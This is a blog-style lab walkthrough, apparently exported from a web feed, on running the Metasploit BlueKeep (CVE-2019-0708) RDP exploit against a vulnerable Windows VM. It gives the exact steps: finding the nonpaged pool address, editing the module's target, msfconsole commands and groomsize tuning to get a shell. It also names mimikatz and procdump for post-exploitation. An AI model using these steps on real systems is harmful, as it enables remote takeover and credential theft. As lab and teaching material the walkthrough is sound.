First off this post is for educational purposes. I used a controlled lab environment to test the BlueKeep Metasploit module. Ok with the disclaimer out of the way – Metasploit team released a BlueKeep (CVE-2019\u20130708) remote code execution module back in Sep last year. I finally got around to labbing it:<\/p>\n

Prerequisites<\/strong>:
\nVMware Workstation \/ VirtualBox or ESXi
\nKali Linux 2019 VM
\nMetasploitable3 VM (or vulnerable Windows 7 \/ Windows 2K8R2 VM).
\nRDP must be enabled and allowed through any firewall (simulating the rdp service is active.
\nFor Win 2K8R2 you must set HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam = 0 (to allow RDP PDU on this channel).
\nFor my lab I used ESXi 6.7 with Metasploitable3 (2K8R2).<\/p>\n

Non Paged Pool<\/strong>:
\nYou will need to find the memory address of the nonpaged pool as the current Metasploit module is manual. That being it will only use a default value for the target host.
\n1. Download the vmss2core <\/a>tool.
\n2. Take a VM snapshot of the vulnerable host.
\n3. Download the .vmsn and .vmem files generated after the snapshot.
\n4. Run the tool, passing the files in this order:
\nvmss2core-sb-8456865.exe -W \u201cMetasploitable3-Snap1.vmsn\u201d \u201cMetasploitable3-Snap1.vmem\u201d
\nAfter that you have a memory.dmp file.<\/p>\n

To get the memory address of NPP (non paged pool) download Windbg from the Microsoft App Store. Load the memory.dmp file in Windgb and then use the command !poolfind * you will get a message at the end of the dump:
\nSearching nonpaged pool (fffffa8006c08000 : fffffa8184200000) for tag 0x2020202a (* )<\/code>
\nWith that you have the start address of nonpaged pool (fffffa8006c08000).<\/p>\n

The next step is to change the address of the respective target, in the file \u201cmodules\/exploits\/windows\/rdp\/cve_2019_0708_bluekeep_rce.rb\u201d.
\nI edited VMware 15.1 (which corresponds to target 5 in the Metasploit module).
\n\"Module<\/a>
\nWhat you are doing here is editing the exploit module with the correct NPP (memory address) for your target host.<\/p>\n

Attack<\/strong>:
\nTime to switch to your Kali attack vm and run Metasploit:
\n1. msfconsole
\n2. use exploit\/windows\/rdp\/cve_2019_0708_bluekeep_rce
\n3. set RHOSTS 10.0.0.1 (your target hosts IP address).
\n4. set TARGET 5
\n5. exploit<\/p>\n

If all goes well you’ll see the following:
\n\"\"<\/a><\/p>\n

And you’ve just popped a shell using the BlueKeep RCE exploit. Post exploitation is now possible (mimikatz, procdump etc).
\nTo recap, this Metasploit module is very manual, it requires setting the correct memory address and a bit of trial and error to get the remote code execution working. I noticed if the exploit was successful on my vulnerable host, subsequent runs would usually produce a blue screen crash. If your running into issues try setting the groomsize ‘set groomsize 100’ or ‘set groomsize 50’.<\/p>\n","protected":false},"excerpt":{"rendered":"
